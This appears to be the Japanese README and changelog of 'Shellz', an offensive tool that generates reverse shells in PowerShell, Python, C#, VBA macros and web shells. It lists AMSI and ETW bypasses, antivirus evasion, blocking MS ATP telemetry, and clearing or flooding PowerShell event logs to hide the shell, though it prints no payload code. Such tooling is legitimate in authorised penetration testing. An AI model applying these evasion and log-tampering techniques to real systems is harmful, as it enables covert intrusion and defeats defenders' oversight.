Shellz
一般的なリバースシェルを高速かつ簡単に生成するスクリプト。
特にPowerShellやPythonのリバースシェルが必要な場合に便利です。これらは正しくフォーマットするのが面倒なことが多いからです。
PowerShellリバースシェル
- プロンプトと作業ディレクトリの上に username@computer.(domain) を表示
- 部分的なAMSIバイパスと完全なAMSIバイパスを備えています。
- TCP、UDP、SSLシェル
- 新しいカスタムTCPリバースシェル!
- 新しいカスタムSSLリバースシェル!
- リフレクティブローディング theart42's の素晴らしい Sharpcat!
- Windows PowerShell と PowerShell Core
- ファイルのアップロードおよびダウンロード機能。(sc0tfree の Updog を使用)
Python
- PowerShellがなくても問題ありません!
埋め込みPythonをロードします。署名済みのファイルで、Microsoft Intelligent Security Graph によって信頼されています。
ngrok サポート
- ngrok はスクリプト内から開始/停止できます
- ペイロードは ngrok アドレスを使用して生成されます
Updog サポート
- スクリプト内から Updog を開始/停止できます
- PowerShellリバースシェルにはアップロード/ダウンロード機能が組み込まれています
- nix から curl を使ってアップロードするには:
curl -F path="absolute path for Updog-folder" -F file=filename http://UpdogIP/upload
git から Shells をインストールするには
git clone https://github.com/4ndr34z/shells
cd shells
./install.sh
BlackArch に shells をインストールするには:
スクリーンショット

必要な依存関係
netcat, rlwrap, jq, basenc (coreutils)
オプションの依存関係
updog, ngrok, xclip
YouTube 動画
Shellz 1.7.5
バージョン 1.7.7
- PowerShellセクションに Windows Terminal Init オプションを追加
バージョン 1.7.6
- Pythonの下に、VBAマクロでPython Embeddedを使用するためのオプションを追加
バージョン 1.7.5
- PowerShellの下に、msbuild.exeを使用した Constrained Language Mode バイパスのステージドローディングオプションを追加
バージョン 1.7.4
- Python Embedded のペイロードを変更。スクリプトをディスクに保存しなくなりました
- Pythonリバースシェルを少し難読化
バージョン 1.7.3
- Windows用Python3ペイロードのタイポを修正
- Pythonがインストールされておらず、PowerShellも使用できないWindowsマシンでリバースシェルを取得するために Python Embedded を使用するオプションを追加。
バージョン 1.7.1
- SSLシェルのプロンプトに PS を追加
- 完全なAMSIバイパスを短縮
バージョン 1.7
- 最初にアクティブ化されていない場合の「updog is not running」メッセージを削除
- メニューでの自動エンター選択をさらにいくつか削除
バージョン 1.6.9
- block MDE コマンドのエラーを修正
- init コマンドオプションを追加: cmd, conhost, powershell (ペイロードが8191文字を超える場合は、powershellから直接起動する必要があります)
バージョン 1.6.8
- 「Microsoft-Windows-PowerShell/Operational」をさらに多くのエントリで埋めて、スクリプトの最初の実行を確実に押し出します。(ターゲットでスクリプトブロックのログ記録が有効になっている場合のみ動作します)
バージョン 1.6.7
- URLセーフなBase64エンコーディングのみでした。ペイロードの通常のbase64エンコーディングを追加。
バージョン 1.6.6
- powershellログを埋めるオプションを追加。これは複数のPowerShellセッションを開始し、長い文字列を渡して終了します。これにより、スクリプトブロックのログ記録が有効になっている場合、ログを埋め、以前のログエントリを効果的に押し出し、シェル自体の生成イベントを削除します。EDR検出を防ぐ可能性があります。SentinelOneで正常にテスト済み。
- 混乱を招くメニュー選択を修正。ほとんどのメニューでオプション選択時の自動エンターを削除。
- Metasploit Multi/handler リスナーを追加
バージョン 1.6.5
- PowerShell ETWパッチを追加
- PowerShell埋め込み完全AMSIバイパスを追加。
- ペイロード長チェックを追加。Windowsコマンドプロンプト(cmd.exe)で使用できる文字列の最大長は8191文字です。
バージョン 1.6.4
バージョン 1.6.3
- PowerShellペイロードに変数展開を追加。バッチファイルなどから修正なしで実行可能に。
バージョン 1.6.2
バージョン 1.6.1
- リスナーを新しいウィンドウで開始。(Linuxではオプション)
バージョン 1.6
- PowerShell: Sharpcat のリフレクティブローディングオプションを追加
バージョン 1.5.9
- PowerShell: 新しいカスタムSSLシェル
- PowerShell: TCP/UDP/SSL 選択オプションを追加
- PowerShell/OpenSSL: SSL使用時に正しいリスナーをデフォルトに設定
バージョン 1.5.8
- インストーラを更新してラッパースクリプトを使用するように (1.5.8未満からアップグレードする場合は /usr/local/bin/shells を削除することを忘れないでください)
バージョン 1.5.7
- PowerShell: Net.Sockets.TCPClient を使用しないユニークなTCPリバースシェルを構築
- PowerShell: リモートエラーメッセージが適切に表示されるようになりました
バージョン 1.5.6
バージョン 1.5.5
バージョン 1.5.4
- PowerShell: NIXペイロードを修正
- PowerShell: C#のリフレクティブローディング用ペイロードを更新
バージョン 1.5.3
- PowerShell: メニューにペイロードオプションを追加。
バージョン 1.5.2
- PowerShell: より多くのAVベンダーを回避するためにリバースシェルを変更
- PowerShell: ファイアウォールルールを追加。MS ATPがホームに電話するのを防ぐ(実行ユーザーにアクセス権がある場合)
- PowerShell: VBA (MS Officeマクロ) を更新
バージョン 1.5.1
- PowerShell: スクリプトブロックのログ記録と CheckSuspiciousContent を無効化
- PowerShell: PowerShellイベントログをクリア(実行ユーザーにアクセス権がある場合)
バージョン 1.5.0
- PowerShell: MS Officeマクロ用のVBAペイロードを追加
- いくつかのNode.jsペイロードを追加
バージョン 1.4.9
- シンプルなC#シェルを追加。
- C#シェルをメモリにリフレクティブローディングするためのペイロードを追加。(完全なAMSIバイパスが必要)
- これをカバーするためにRastamouseの完全なAMSIバイパスを追加
- PowerShell: 完全なAMSIバイパスを自動的にアップロードして実行できます。部分的なAMSIバイパスがこれを可能にします。
- C#シェル: メモリにロードする前に完全なAMSIバイパスを自動的にアップロードして実行
- すべてのメニューにUpdogとngrokのステータスを表示
バージョン 1.4.8
- 時には少ない方が良い。TCP/UDP PowerShellリバースシェルの難読化を削除。なぜなら、実際には回避するよりもAVをトリガーし、ペイロードが非常に大きくなったからです :-) ランダム化は引き続き使用。
バージョン 1.4.6
- ウェブシェルを追加 (ASPX, PHP, JSP)
バージョン 1.4.5
- Windows 32ビットおよび64ビット用の2つのC++リバースシェルバイナリを追加。
バージョン 1.4.4
バージョン 1.4.3
- Updogサポートを追加
- Netcatバイナリを追加。
- PowerShell: アップロード/ダウンロード機能を作成 (アップロードにはファイル受信にUpdogが必要)
- ngrokとUpdogの実行に関する詳細情報を追加。
バージョン 1.4.2
- PowerShell: 新しい「ミニAMSIバイパス」を追加。(部分的なバイパス) Matt Graeberのリフレクションメソッドに基づく
- PowerShell: PowerShellリバースシェルに「アップロード」機能を追加
バージョン 1.4.1
- AMSIを削除。十分にテストされていません :-)
バージョン 1.4
- PowerShellペイロード用のAMSIバイパスを追加
バージョン 1.3.9
- ポート設定時のバグを修正
- デフォルトポートを443に変更
- PowerShell: さらに難読化
バージョン 1.3.8
- PowerShell: UDPペイロードに小さな変更
バージョン 1.3.7
- macOSではネイティブのncのみを使用。Homebrewのものは受信UDPで動作しないため
- PowerShell: UDPペイロードを追加
バージョン 1.3.6
バージョン 1.3.5
- PowerShell: ペイロードにランダム化と難読化を追加
バージョン 1.3.4
- PowerShell: ペイロードにUTF8エンコーディングを使用
バージョン 1.3.3
バージョン 1.3.2
バージョン 1.3.1
- Pythonリバースシェルのバグを修正
- awkを追加
- Bash UDPを追加
バージョン 1.3
バージョン 1.2.9
バージョン 1.2.8
- インストールされていない場合、ngrokの選択肢を非表示
バージョン 1.2.7
- インストールオプションを修正: 選択せずにEnterを押した場合、デフォルトオプションを実行しない
バージョン 1.2.6
バージョン 1.2.4
- インストールスクリプトを追加
- 不足している依存関係を確認してインストールするためのインストールオプションを追加
バージョン 1.2.3
バージョン 1.2.2
- シェルを追加: Ruby、Perl、Telnet、zsh
バージョン 1.2.1
- macOSでpbcopyを使用したクリップボードへのコピーを追加
- macOSバージョンでは表示されないため、netcatリスニングに関する情報を追加
バージョン 1.2
- ループするnetcatシェルを追加。10秒ごとにコールバック。シェルを失った場合に便利
- macOSで実行する場合、netcat GNU netcat 0.7.0 Homebrewのチェックを追加
バージョン 1.1